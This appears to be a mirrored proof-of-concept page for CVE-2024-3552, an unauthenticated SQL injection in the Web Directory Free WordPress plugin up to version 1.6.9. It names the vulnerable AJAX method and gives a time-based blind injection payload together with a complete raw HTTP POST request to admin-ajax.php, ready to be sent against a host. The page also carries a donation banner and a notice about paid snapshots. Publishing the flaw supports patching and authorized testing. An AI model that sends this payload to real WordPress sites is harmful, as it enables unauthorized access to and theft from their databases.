Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1020 CNY

100%

CVE-2024-3552 PoC — Web Directory Free < 1.7.0 - Unauthenticated SQL Injection

Source
Associated Vulnerability
Title:Web Directory Free < 1.7.0 - Unauthenticated SQL Injection (CVE-2024-3552)
Description:The Web Directory Free WordPress plugin before 1.7.0 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
Description
CVE-2024-3552 Web Directory Free <= 1.6.9 - Unauthenticated SQL Injection
Readme
# CVE-2024-3552-Poc
CVE-2024-3552 Web Directory Free &lt;= 1.6.9 - Unauthenticated SQL Injection


Description

The Web Directory Free plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.6.9 due to insufficient escaping on a user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/web-directory-free/web-directory-free-169-unauthenticated-sql-injection

File: /web-directory-free/classes/ajax_controller.php

Class: w2dc_ajax_controller

Method: get_map_marker_info

![image](https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/04110eee-9b88-4440-a600-2a79a88692d1)


Payload: ```action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)```

Raw request:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)

```

Poc:

Url paload false:

![image](https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/ddeda025-ed8c-484c-a3a0-3bdfb5487d26)


Url paload true:

![image](https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/88da4ff6-5575-44da-8e84-c6b63ed2afb2)



https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/96a92b63-a6ff-49b8-803a-ec9624c368d6


File Snapshot

[4.0K] /data/pocs/9fcd586c2a774c573f7b01702e073d19b44d3b06 ├── [1.8K] README.md └── [7.7M] web-directory-free.1.6.9.zip 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →